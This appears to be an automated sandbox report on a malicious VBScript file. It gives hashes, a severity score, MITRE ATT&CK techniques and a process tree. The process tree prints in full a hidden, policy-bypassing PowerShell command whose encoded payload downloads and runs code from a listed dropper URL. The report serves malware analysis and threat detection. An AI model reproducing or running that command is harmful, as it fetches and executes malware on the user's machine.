46430bbb1d9b0711f1013f570898e873c34a1d3cd486b80b3f5f2af9cf9c896c

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
30/04/2022, 07:02

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General

Target
documentaz_661.vbs
Size 3KB
Sample220430-htr87scdhp
SHA256 46430bbb1d9b0711f1013f570898e873c34a1d3cd486b80b3f5f2af9cf9c896c
MD5 b3916883ed8017a17626bab708fcb1e8
SHA1 c417745a07d3895c9cc55c687b3f2ca77d5b36fc
SHA512 54bc0381d4250484938d96f14dd942264a0f9ae9a2380e930ed1fb22189df893cb7991b7d4e2e32c768c2b86fb6aea72a6b41d45faa901180d7deab8aa9c43c7
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://basesline.top/index.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	3288	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3288	powershell.exe
3288	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3288	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4948 wrote to memory of 976	4948	WScript.exe	82
PID 4948 wrote to memory of 976	4948	WScript.exe	82
PID 976 wrote to memory of 3288	976	cmd.exe	84
PID 976 wrote to memory of 3288	976	cmd.exe	84

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\documentaz_661.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBhAHMAZQBzAGwAaQBuAGUALgB0AG8AcAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBhAHMAZQBzAGwAaQBuAGUALgB0AG8AcAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:4340

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3288-132-0x000001F51DD60000-0x000001F51DD82000-memory.dmp

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memory/3288-133-0x00007FFC6B8B0000-0x00007FFC6C371000-memory.dmp

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